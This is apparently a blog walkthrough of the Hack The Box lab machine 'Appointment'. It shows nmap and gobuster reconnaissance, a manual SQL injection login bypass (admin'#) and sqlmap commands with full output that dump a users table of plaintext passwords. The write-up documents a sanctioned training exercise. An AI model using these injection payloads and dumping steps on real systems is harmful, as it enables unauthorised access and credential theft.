13 minutes
Hack The Box: Starting Point - Appointment
I’ve been playing around on Hack The Box and I’ve decided to write up of some of my attempts where I feel I’ve tried something a little different from what has already been seen before.
Starting Point is the first machine in Tier 1. The precursor questions are all
centered around SQL, injection and an introduction to gobuster
. As a first
step I ran a simple nmap
scan on the provided IP to see what was hosted on the
box.
$ nmap -sV -sC 10.129.178.46
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 16:18 EET
Nmap scan report for 10.129.178.46 (10.129.178.46)
Host is up (0.091s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.24 seconds
nmap
revealed that there was an Apache HTTP server running on port 80, and
sure enough, navigating to the IP in a web browser revealed a login page.
The next port of call was to use gobuster
to reveal any directories that may
have been available, hopefully containing something we could use to get in. For
this I used gobuster
’s directory enumeration mode and a wordlist of common
directories provided by Kali.
$ gobuster dir -u http://10.129.178.46 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.178.46
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/01/07 18:16:45 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.129.178.46/css/]
/fonts (Status: 301) [Size: 314] [--> http://10.129.178.46/fonts/]
/images (Status: 301) [Size: 315] [--> http://10.129.178.46/images/]
/index.php (Status: 200) [Size: 4896]
/js (Status: 301) [Size: 311] [--> http://10.129.178.46/js/]
/server-status (Status: 403) [Size: 278]
/vendor (Status: 301) [Size: 315] [--> http://10.129.178.46/vendor/]
Progress: 4604 / 4615 (99.76%)
===============================================================
2023/01/07 18:17:27 Finished
===============================================================
Unfortunately, a rummage through the discovered directories did not reveal anything of use that wasn’t securely locked down. Having hit a bit of a dead end I changed my focus to SQL injection, as hinted to by the preamble questions.
Naive approach
For this, a quick Google of basic SQL injection attacks led me to a list of
possible usernames to try out. The basic idea is to mix common usernames, string
termination '
and comments #
.
Assuming the query behind the login looks something like the following,
SELECT id FROM users WHERE username='username' AND password='password'
then using a username terminating in a '#
sequence would comment out the
remaining query, bypassing the password field entirely. For example:
SELECT id FROM users WHERE username='username'#' AND password='password'
The only remaining step then was to guess a valid username by bruteforce,
in this case admin'#
worked and revealed the flag.
A more robust approach
While the naive approach worked fine, I felt like I had little knowledge of what
the underlying system and database looked like. I searched for a more
comprehensive way to break into the sever, hopefully something that relied less
on my own ability to guess login details. To this end I found Burp Suite, a web
penetration testing toolkit and sqlmap
, an automated SQL injection testing and
exploit tool.
Upon starting Burp Suite I created a temporary project, and under the Proxy tab I toggled intercept on, as shown below. From here, using Burp’s own browser, and navigating to the box URL would record any HTTP calls made by the site.
From here I navigated to the login screen of the target box and entered a
username & password combination, below for example I used admin
& password
.
This could have been any combination, the important information that sqlmap
requires is the parameter names, here username
and password
.
The next step was to save the captured HTTP request to file to input into
sqlmap
. I saved the request to request.txt
(below) using the right-click
context menu.
POST / HTTP/1.1
Host: 10.129.178.46
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.178.46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.129.178.46/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
username=admin&password=password
Next, I ran sqlmap
with the captured HTTP request as an input. This command
determines both the type of the target database and whether any of the input
parameters are vulnerable.
$ sqlmap -r request.txt
___
__H__
___ ___[']_____ ___ ___ {1.6.11#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:31:06 /2023-01-11/
[17:31:06] [INFO] parsing HTTP request from 'request.txt'
[17:31:06] [INFO] testing connection to the target URL
[17:31:06] [INFO] testing if the target URL content is stable
[17:31:07] [INFO] target URL content is stable
[17:31:07] [INFO] testing if POST parameter 'username' is dynamic
[17:31:07] [WARNING] POST parameter 'username' does not appear to be dynamic
[17:31:07] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[17:31:07] [INFO] testing for SQL injection on POST parameter 'username'
[17:31:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:31:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:31:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:31:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:31:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:31:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:31:11] [INFO] testing 'Generic inline queries'
[17:31:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:31:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:31:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:31:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:31:23] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[17:31:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:31:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:31:29] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[17:31:33] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[17:31:33] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:31:57] [INFO] the back-end DBMS is MySQL
[17:31:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:32:16] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'
[*] ending @ 17:32:16 /2023-01-11/
sqlmap
was able to determine that the database is MySQL and that the
username
parameter was in fact vulnerable. From here I used the --dbs
argument to attempt to obtain a list of available databases.
$ sqlmap -r request.txt --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.6.11#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:34:25 /2023-01-11/
[17:34:25] [INFO] parsing HTTP request from 'request.txt'
[17:34:25] [INFO] resuming back-end DBMS 'mysql'
[17:34:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:34:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:34:25] [INFO] fetching database names
[17:34:25] [INFO] fetching number of databases
[17:34:25] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:34:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2
[17:35:00] [INFO] retrieved: information_schema
[17:35:05] [INFO] adjusting time delay to 1 second due to good response times
[17:36:19] [INFO] retrieved: appdb
available databases [2]:
[*] appdb
[*] information_schema
[17:36:41] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'
[*] ending @ 17:36:41 /2023-01-11/
This revealed two databases in the target system, appdb
and
information_schema
. The former sounded more interesting so I explored that
further first. To do this I set the target database with -D appdb
and the
--tables
argument to list all available tables within.
$ sqlmap -r request.txt -D appdb --tables
___
__H__
___ ___[)]_____ ___ ___ {1.6.11#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:37:30 /2023-01-11/
[17:37:30] [INFO] parsing HTTP request from 'request.txt'
[17:37:30] [INFO] resuming back-end DBMS 'mysql'
[17:37:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:37:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:37:30] [INFO] fetching tables for database: 'appdb'
[17:37:30] [INFO] fetching number of tables for database 'appdb'
[17:37:30] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:37:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
1
[17:37:41] [INFO] retrieved: users
[17:37:51] [INFO] adjusting time delay to 1 second due to good response times
Database: appdb
[1 table]
+-------+
| users |
+-------+
[17:38:09] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46'
[*] ending @ 17:38:09 /2023-01-11/
This revealed a single table called users
, which sounded highly promising. The
final step was to use -T users
to select the desired table within the target
database, and the --dump
argument to dump its contents to the screen. This
process took a bit longer than the others, around 25 minutes in total on this
virtual machine. One might be able to improve the time by allocating the virtual
machine with a bit more oomph.
$ sqlmap -r request.txt -D appdb -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.6.11#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:38:50 /2023-01-11/
[17:38:50] [INFO] parsing HTTP request from 'request.txt'
[17:38:50] [INFO] resuming back-end DBMS 'mysql'
[17:38:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 1552 FROM (SELECT(SLEEP(5)))jzTC) AND 'xkIU'='xkIU&password=password
---
[17:38:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:38:50] [INFO] fetching columns for table 'users' in database 'appdb'
[17:38:50] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[17:38:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[17:39:10] [INFO] adjusting time delay to 1 second due to good response times
3
[17:39:11] [INFO] retrieved: id
[17:39:19] [INFO] retrieved: username
[17:39:30] [ERROR] invalid character detected. retrying..
[17:39:30] [WARNING] increasing time delay to 2 seconds
[17:39:40] [ERROR] invalid character detected. retrying..
[17:39:40] [WARNING] increasing time delay to 3 seconds
[17:39:51] [ERROR] invalid character detected. retrying..
[17:39:51] [WARNING] increasing time delay to 4 seconds
[17:40:43] [ERROR] invalid character detected. retrying..
[17:40:43] [WARNING] increasing time delay to 5 seconds
[17:41:38] [INFO] retrieved: password
[17:44:00] [INFO] fetching entries for table 'users' in database 'appdb'
[17:44:00] [INFO] fetching number of entries for table 'users' in database 'appdb'
[17:44:00] [INFO] retrieved: 2
[17:44:11] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
1
[17:44:26] [INFO] retrieved: 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf
[17:57:08] [ERROR] invalid character detected. retrying..
[17:57:08] [WARNING] increasing time delay to 6 seconds
[17:58:19] [ERROR] invalid character detected. retrying..
[17:58:19] [WARNING] increasing time delay to 7 seconds
[18:00:12] [INFO] retrieved: admin
[18:01:55] [INFO] retrieved: 2
[18:02:17] [INFO] retrieved: bababa
[18:03:32] [INFO] retrieved: test
[18:05:17] [ERROR] invalid character detected. retrying..
[18:05:17] [WARNING] increasing time delay to 8 seconds
Database: appdb
Table: users
[2 entries]
+----+---------------------------------------------------+----------+
| id | password | username |
+----+---------------------------------------------------+----------+
| 1 | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin |
| 2 | bababa | test |
+----+---------------------------------------------------+----------+
[18:05:50] [INFO] table 'appdb.users' dumped to CSV file '/home/odin/.local/share/sqlmap/output/10.129.178.46/dump/appdb/users.csv'
[18:05:50] [INFO] fetched data logged to text files under '/home/odin/.local/share/sqlmap/output/10.129.178.46
[*] ending @ 18:05:50 /2023-01-11/
As you can see from the above, sqlmap
was able to find two usernames and
plaintext (naughty!) passwords for us to try. Both combinations worked great and
presented me with the same flag as previously (1).
Overall I was much happier with this method as the guessing element was off-loaded to an automated tool. The result also provided me with a better understanding of the target database and tables schemas.